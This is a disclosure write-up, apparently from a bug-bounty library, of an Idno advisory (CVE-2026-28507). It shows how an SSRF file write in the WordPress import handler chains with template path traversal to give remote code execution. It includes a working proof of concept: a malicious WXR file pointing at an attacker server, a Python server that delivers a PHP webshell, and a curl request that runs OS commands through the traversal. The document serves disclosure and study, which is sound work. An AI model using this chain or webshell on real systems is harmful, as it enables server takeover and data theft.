# Idno Vulnerable to Remote Code Execution via Chained Import File Write and Template Path Traversal

Idno chains an SSRF file-write in WordPress import with an unsanitized template path traversal to execute OS commands as the web server user.

- Payout: Research
- Severity: high
- Program: Idno
- Found by: anuraagbaishya
- Disclosed: 2026-03-02
- CVE: CVE-2026-28507
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-37j7-56xc-c468
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-37j7-56xc-c468
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:php technique:chained vuln:file-upload vuln:path-traversal vuln:rce vuln:ssrf

**Target:** PHP web app import handler and template renderer
**Root cause:** importImagesFromBodyHTML builds a temp filename from basename() of an attacker URL and only checks substr_count for 'wordpress.com', allowing arbitrary .tpl.php writes; Templates::draw() strips only a leading underscore prefix, so ../ traversal in the template parameter includes arbitrary .tpl.php files.
**Steps:**
1. Host a server returning `<?php system($_GET["cmd"]); ?>` at path `/wordpress.com/shell.tpl.php` and hold the connection open ~45s after sending.
2. Build a WXR XML with `<img src="http://attacker-server-address/wordpress.com/shell.tpl.php">` inside content:encoded.
3. As admin, POST the WXR to `/admin/import/` with `import_type=WordPress`; import runs after a 10s sleep.
4. fopen fetches the URL, file_put_contents writes to `/tmp/{md5(url)}shell.tpl.php` and blocks while the connection is held.
5. Compute md5 of the full URL, e.g. `594ac6416712b71b978fa4659c4298c3`.
6. As any authenticated user request `GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id`.
7. draw() includes `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`; command output appears in the `rendered` JSON field.
**How found:** Code review of the import image re-hosting logic: noticed basename() applied to a URL string and a substr_count('wordpress.com') host check that matches path components; separately noticed draw()'s regex only strips a leading underscore prefix, leaving ../ traversal intact, then chained the predictable md5+basename temp filename.
**Exploitation:** Admin imports a crafted WXR whose img src points at an attacker server containing 'wordpress.com' in the path; the server streams a PHP webshell and holds the TCP connection so file_put_contents blocks with the file on disk. Any authenticated user then hits the user-search endpoint with a ../ template parameter resolving to the predictable /tmp filename, and the included shell reads $_GET['cmd'] and runs system(), returning output via ob_get_clean(). Closing the connection lets unlink remove the artifact.
**Escalation:** Admin-only file write (SSRF) chained with a lower-privilege authenticated LFI to reach full OS command execution as www-data.
**Insight:** When a filename is derived from a URL, basename() lets the attacker pick the extension; and substring host checks like substr_count('wordpress.com') are bypassed by putting the string in the path. Predictable temp names (md5(url)+basename) plus a template/include sink with only prefix-stripping regex make a reliable LFI-to-RCE chain.

## Proof of concept (copied exactly from the original report)

**Malicious WXR XML with img src payload**

```
<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
```

**Python server holding connection open with PHP payload**

```
import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()
```

**LFI curl request executing command via template traversal**

```
curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"
```

